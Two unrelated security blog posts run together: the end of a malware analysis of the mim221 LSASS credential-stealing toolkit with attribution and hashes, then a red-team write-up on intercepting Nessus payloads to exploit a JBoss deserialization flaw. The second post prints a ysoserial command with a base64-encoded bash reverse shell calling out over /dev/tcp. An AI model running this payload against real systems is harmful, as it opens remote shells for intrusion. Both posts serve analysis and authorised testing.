AddSecurityPackage64.dll 119 KB Thu Jun 09 08:01:46 2022 (UTC)
pc.dll 297 KB Tue Jun 07 16:55:05 2022 (UTC)
getHashFlsa64.dll 216 KB Fri May 27 20:56:26 2022 (UTC)

pc.exe

The main binary executed by the threat actor is pc.exe. It decrypts AddSecurityPackage64.dll and pc.dll, stores pc.dll on the file system, and then loads and executes AddSecurityPackage64.dll by invoking its exported function, pathAddPackage.

The execution of pc.exe requires a password supplied by the operator (in this case, [email protected]#$C), which the operator provides through the key command-line parameter.

pc.exe decrypts AddSecurityPackage64.dll and pc.dll using the AES encryption algorithm, providing the operator-provided execution password as an initialization vector.

pc.exe loads and executes the decrypted AddSecurityPackage64.dllusing reflective image loading. This technique involves first mapping a Windows PE image in memory and then executing the image’s main entry point or an export function.

Among other activities, the image mapping process includes allocating memory for the image, storing the image headers and sections in the memory, populating the images’ import and delay import tables, adding exception handlers, and executing TLS callback and export routines. The Phant0m tool provides a complete implementation of this process.

While reflective image loading is a known technique at this time, its use was first observed in the DoublePulsar and subsequently the SlingShot frameworks in 2017 and 2018, respectively. This technique enables the fully fileless loading and execution of a malicious image without invoking the standard Windows API, such as LoadLibrary. This eliminates detection based on API hooking and file artifacts.

When it is finished executing, pc.exe displays a message indicating a version number and build timestamp: Version 2.2.1  - build on Jun  9 2022 16:02:12.

AddSecurityPackage64.dll

AddSecurityPackage64.dll, which is the original filename of this mim221 component, is responsible for:

  • Obtaining the SeDebugPrivilege and SYSTEM privilege by access token impersonation. This allows mim221 to inspect and extract credentials from the LSASS process.
  • Disabling Windows event logging in an attempt to evade detection; and
  • Injecting pc.dll into LSASS as a Security Package. Security Packages are used to extend the Windows authentication mechanism and can be abused to execute malicious code in the context of LSASS.

In an attempt to remain undetected, AddSecurityPackage64.dll disables Windows event logging by killing threads of the Windows Event Log service without stopping the execution of the service itself. This is achieved by locating the process that hosts the Event Log, enumerating the processes’ threads, identifying the threads assigned to the service by their service tag (eventlog), and terminating them.

Querying service tag information
Querying service tag information

AddSecurityPackage64.dll injects pc.dll into LSASS by deploying pc.dll as a Security Package. To this end, AddSecurityPackage64.dll issues an RPC call to LSASS – to the ncalrpc:[lsasspirpc] RPC endpoint, providing the file path to pc.dll to LSASS. This call instructs LSASS to load and execute pc.dll, which then stages the getHashFlsa64.dll credential theft component.

getHashFlsa64.dll conducts credential theft in the context of LSASS
getHashFlsa64.dll conducts credential theft in the context of LSASS

pc.dll and getHashFlsa64.dll

In the context LSASS, pc.dll decrypts, reflectively loads, and executes the code credential theft component getHashFlsa64.dll in a manner similar to pc.exe. pc.dll and getHashFlsa64.dll share the same original filename: getHashFlsa64.dll.

pc.dll is implemented such that its main routine returns FALSE, making LSASS execute pc.dll and then unload it. This is a detection evasion technique making LSASS load pc.dll while avoiding appearing as an added (registered) Security Package. LSASS normally creates registry entries when adding Security Packages and does not unload them once loaded. This provides an opportunity for defenders to detect the loading of malicious Security Packages. Previous research provides more detail on this topic.

getHashFlsa64.dll accesses the memory of its host LSASS process and stores stolen credentials in a Mimikatz log file named pc.log for later exfiltration.

Example pc.log content
Example pc.log content

getHashFlsa64.dll exports a function named GetMyVersion, which displays a version number and build timestamp (Version 2.2.0  - build on May 28 2022 04:56:23), in a format consistent with the output from pc.exe. The credential theft functionality of getHashFlsa64.dll is implemented in its export function GetLogonInfo.

The GetMyVersion function
The GetMyVersion function

Additional Information

Error Messages and Public Code Reuse

The mim221 components implement error logging. The error messages follow a consistent output format.

Example error messages
Example error messages

It is important to note that we observed code segments that seem to be modified versions of publicly available code. For example, the implementation of AddSecurityPackage64.dll looks like an adaptation of public code that demonstrates injection of a Security Package into LSASS using RPC calls.

Similarity between <a href="https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e" target="_blank" rel="noopener noreferrer">publicly</a> available code (top) and AddSecurityPackage64.dll (bottom)
Similarity between publicly available code (top) and AddSecurityPackage64.dll (bottom)

Timestamp Information

The mim221 components that reflectively load other executables, pc.exe and pc.dll, patch beforehand a string in the loaded executable, which provides further timestamp  information: [email protected]#0-2022-05-23 16:33:03S. The patching involves replacing the string with configuration information, such as the mim221 execution password and a path to the log file for storing stolen credentials.

Patched timestamp string
Patched timestamp string

Attribution Analysis

We assess it is highly likely the initial attack phases we observed were conducted by Chinese threat actors with cyberespionage motivations. Telecommunication providers are frequent targets of espionage activity due to the sensitive data they hold. Our analysis identified indicators that point to the operation Soft Cell actors.

Operation Soft Cell has been associated with the Gallium group based on TTPs and some of the domains the group has been using.

Active since at least 2012, Gallium is likely a Chinese state-sponsored group that is targeting telecommunication, financial, and government entities in Southeast Asia, Europe, Africa, and the Middle East. While the group’s original focus has been on telecommunication providers, recent reports suggest that Gallium has recently expanded targeting across other sectors.

The initial intrusion vector and the majority of the TTPs we observed closely match those conducted by, or associated with, the Soft Cell actors. This includes deploying webshells at Microsoft Exchange servers for establishing an initial foothold, following same file naming conventions, using the LG tool and the net, query, and tasklist Windows built-in tools for gathering user and process information, and the PsExec Windows Sysinternals tool and net for lateral movement and exploration, respectively.

It is worth noting that the attackers’ activities at one of the targets suggested previous knowledge of the environment. We had observed activity at the same target a few months prior, which we attributed to Gallium primarily based on the use of the group’s PingPull backdoor and TTPs.

By pivoting on the original filename of mim221’s getHashFlsa64.dll, we observed another sample that steals credentials from LSASS. This sample has the PDB path of e:\vs_proj\mimkTools\getHashFlsa\getHashFlsa\x64\release\getHashFlsa64.pdb and has been first submitted to VirusTotal from Vietnam on January 04, 2023.

The path partially overlaps with the PDB path of a Mimikatz Soft Cell executable (E:\vs_proj\simplify_modify\Win32\simplify.pdb) and another Mimikatz executable of a Chinese threat actor thought to be part of the Soft Cell activity group arsenal (E:\vs_proj\mimkTools\dcsync_new\x64\dcsync64.pdb). This indicates that mim221 and these binaries may originate from the same source.

Closer analysis confirms that the sample we pivoted to is a previous, less-advanced version of mim221 – Version 2.2.0 – that does not include some mim221 components, such as AddSecurityPackage64.dll and pc.dll. We refer to this sample as mim220.


Output from mim220 (top) and mim221 (bottom)
Output from mim220 (top) and mim221 (bottom)

Previous research indicates possible connections between the Soft Cell actors and APT41, which is known to conduct Chinese state-sponsored espionage activity as well as financially motivated activity targeting multiple sectors with a broad geographical coverage, including telecommunication providers.

The connection between the Soft Cell actors and APT41 that most relates to the activities that we observed is based on the Whizzimo, LLC certificate of the Soft Cell binary with a PDB path E:\vs_proj\simplify_modify\Win32\simplify.pdb, a binary that possibly originates from the same source as mim221. This certificate has been reported to be used by APT41. Pivoting on this certificate reveals further Mimikatz modifications, some with filenames very similar to those we observed.

Conclusions

Chinese cyberespionage threat actors are known to have a strategic interest in the Middle East. This is evident from their consistent targeted attacks on various entities including government, finance, entertainment, and telecommunication organizations. The recent activities targeting the telecommunication sector this post discusses are some of the latest such attacks.

Our analysis of mim221 highlights the continuous maintenance and further development of the Chinese espionage malware arsenal. These threat actors will almost certainly continue exploring and upgrading their tools with new techniques for evading detection, including integrating and modifying publicly available code.

SentinelLabs continues to monitor espionage activities and hopes that defenders will leverage the findings presented in this post to bolster their defenses.

Indicators of Compromise

SHA1 Note
f54a41145b732d47d4a2b0a1c6e811ddcba48558 pc.exe
1c405ba0dd99d9333173a8b44a98c6d029db8178 AddSecurityPackage64.dll (unpatched)
df4bd177b40dd66f3efb8d6ea39459648ffd5c0e AddSecurityPackage64.dll (patched)
814f980877649bc67107d9e27e36fba677cad4e3 pc.dll
508408edda49359247edc7008762079c5ba725d9 getHashFlsa64.dll (unpatched)
97a7f1a36294e5525310f121e1b98e364a22e64d getHashFlsa64.dll (patched)

A lazy way to reverse Nessus payloads using MiTM capabilities

22 March 2023 at 09:00

Table of contents


Introduction

In this post we will introduce you how to intercept and reverse the payload generated by the Nessus’s closed source plugins.

So we asked ourselves: is it possible to see what Nessus is doing under the hood?

Nessus is a proprietary tool developed by an American company named Tenable Inc, used for Vulnerability Assessment engagements by Cyber Security Companies. It can be used to scan single hosts or whole networks raising an alert if it discovers any vulnerabilities that can be abused to obtain access to the victim’s system. Nessus scans cover a wide range of technologies including operating systems, network devices, hypervisors, databases, web servers, and critical infrastructure.

The process of adding new security checks and release them into the general public domain is done by Tenable Inc. research staff. The Advanced Scan templates include an option that allows selecting which program has to be executed to find a specific vulnerability. Those programs, also known as plugins, are written using the Nessus Attack Scripting Language (NASL). Each plugin has some information about the vulnerability discovered: the impact that may have on an organization, the remediation, and, when is available, the Proof of Concept to verify the vulnerability.

During the last Red Team engagement, CYS4 has performed several manual and automatic testing activities. The automated part was done with the help of Nessus that has shown a potentially critical vulnerability (CVE-2017-12149) on a host:

JBoss RCE vulnerability identified by Nessus
JBoss RCE vulnerability identified by Nessus

At this point, many organizations would have stopped and reported to the client the finding identified by the automatic scanner without going into details of the issue, but in CYS4 we do things differently by trying harder ;)

From Nessus’s output, it was clear that it has successfully crafted a serialized object obtaining a custom error message from the victim but it was not able to leverage that vulnerability into a Remote Code Execution (RCE). In particular, DNS traffic was blocked by a firewall, so it was not possible to use a safer common payloads like URLDNS.

For this reason, we decided to reverse the plugin functionality, trying to understand how Nessus was able to trigger the custom error message.

At this stage we found three possible options:

  1. Reverse the Nessus Script Language engine
  2. Hook the engine functionalities
  3. Perform a lazy MiTM attack to intercept the traffic.

We chose the third option, because it was more straightforward. In addition, some changes to NASL debugging module didn’t allow an easy instrumentation of the plugin module.

Setup

The first idea that came up to our minds to intercept the traffic, was using iptables to forward the Nessus traffic to the local HTTP proxy server (which, in our case, was Burp Suite). Because we had to run Nessus and the proxy in the same machine, we couldn’t use the PREROUTING table, as it only applies to packets coming from outside: a feasible workaround was to modify the destination port on packets OUTPUT sent by our Nessus process. The catch is that it could also have affected packets output by Burp Suite, getting into a routing loop. In order to solve this, it was necessary to capture only non-root traffic and run Nessus as an unprivileged user, as mentioned in this guide1.

According to the official Nessus documentation2, we had to follow these steps:

1. Install Nessus

2. Create a non-root account to run the Nessus service

# useradd -r nonprivuser

3. Remove ‘world’ permissions on Nessus binaries in the /sbin directory

# chmod 750 /opt/nessus/sbin/*

4. Change ownership of /opt/nessus to the non-root user.

# chown nonprivuser:nonprivuser -R /opt/nessus

5. Set capabilities on nessusd and nessus-service

# setcap "cap_sys_resource+eip" /opt/nessus/sbin/nessusd
# setcap "cap_sys_resource+eip" /opt/nessus/sbin/nessus-service
# setcap "cap_net_admin,cap_net_raw,cap_sys_resource+eip" /opt/nessus/sbin/nessusd
# setcap "cap_net_admin,cap_net_raw,cap_sys_resource+eip" /opt/nessus/sbin/nessus-service

The capabilities we set above have the following meaning:

  • cap_net_admin is the capability that refers to the ability to put interface in promiscuous mode;
  • cap_net_raw is used to create raw sockets for packet forgery;
  • cap_sys_resource allows to set resource limits.

6. Remove and add the following lines to the /usr/lib/systemd/system/nessusd.service script

  • Remove: ExecStart=/opt/nessus/sbin/nessus-service -q
  • Add: ExecStart=/opt/nessus/sbin/nessus-service -q --no-root
  • Add: User=nonprivuser

The resulting script appeared as follows:

[Service]
Type=simple
PIDFile=/opt/nessus/var/nessus/nessus-service.pid
ExecStart=/opt/nessus/sbin/nessus-service -q --no-root
Restart=on-abort
ExecReload=/usr/bin/pkill nessusd
EnvironmentFile=-/etc/sysconfig/nessusd
User=nonprivuser

[Install]
WantedBy=multi-user.target

Furthermore, it was necessary to erase all the iptables rules and enable kernel IP forwarding:

# iptables -t nat -F
# sysctl -w net.ipv4.ip_forward=1

After that, we configured iptables to redirect traffic through the proxy:

# iptables -t nat -A OUTPUT -p tcp -m owner ! --uid-owner root --dport 443 -j REDIRECT --to-port 8080

… and we could finally run Nessus with the lowest privileges:

# systemctl daemon-reload
# service nessusd start

Exploitation

In our new set up environment, we finally succeeded in intercepting the Nessus request which could trigger the vulnerability. To reach our goal,we also decided to disable all the Nessus plugins and run a scan targeting the vulnerable host:

Request sent by Nessus to trigger RCE vulnerability
Request sent by Nessus to trigger RCE vulnerability

By analyzing the payload, it appeared like a serialized object which leveraged vulnerable CommonCollections libraries. So we were able to build a reverse shell payload using the ysoserial tool and the CommonCollections3 Java deserialization gadget:

java -cp . -jar ysoserial.jar CommonCollections3 "bash -c {echo,c2ggLWkgNTw+IC9kZXYvdGNwLzE5Mi54eHgueHh4Lnh4eC80NDUgMDwmNSAxPiY1IDI+JjUK}|{base64,-d}|{bash,-i}" > test.ser

After sending the malicious payload to the vulnerable server, we obtained Remote Code Execution (RCE) in the root user context using a reverse shell:

Request that could trigger RCE vulnerability sent using curl command
Request that could trigger RCE vulnerability sent using curl command
Request received by local nc server
Request received by local nc server

Conclusions

Simplifying the exploitation phase is crucial when time is limited. In this case, due to the time restrictions applied by the customer, intercepting the Nessus payload helped to successfully reduce the time spent in the exploitation phase for this target and allowed us to expand our attack surface.

References

❌
❌